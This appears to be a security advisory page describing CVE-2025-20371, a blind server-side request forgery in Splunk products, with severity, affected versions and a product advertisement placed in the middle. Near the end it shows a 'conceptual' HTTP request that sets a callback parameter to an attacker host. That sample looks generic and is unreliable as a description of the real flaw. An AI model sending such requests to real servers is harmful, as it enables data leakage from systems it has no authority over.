Overview
The vulnerability CVE-2025-20371, found in several versions of Splunk Enterprise and Splunk Cloud Platform, allows an unauthenticated attacker to potentially perform REST API calls on behalf of an authenticated high-privileged user. This flaw is significant due to its potential to compromise systems or leak sensitive data, emphasizing the importance of immediate mitigation and patching measures.
Vulnerability Summary
CVE ID: CVE-2025-20371
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Splunk Enterprise | < 10.0.1, 9.4.4, 9.3.6, 9.2.8 Splunk Cloud Platform | < 9.3.2411.109, 9.3.2408.119, 9.2.2406.122 How the Exploit Works
In affected versions of Splunk Enterprise and Splunk Cloud Platform, an unauthenticated attacker can trigger a blind server-side request forgery (SSRF). This exploit is possible due to insufficient input control in the handling of API requests. The attacker can manipulate the API request to perform actions on behalf of an authenticated high-privileged user, potentially leading to unauthorized access, data leakage, or system compromise.
Conceptual Example Code
The following conceptual HTTP request demonstrates how the vulnerability might be exploited:
GET /api/v1/admin/endpoint?callback=http://attacker.com HTTP/1.1
Host: target.splunk.comIn this example, the attacker manipulates the `callback` parameter in the API request to redirect the server response to their own server, potentially revealing sensitive information.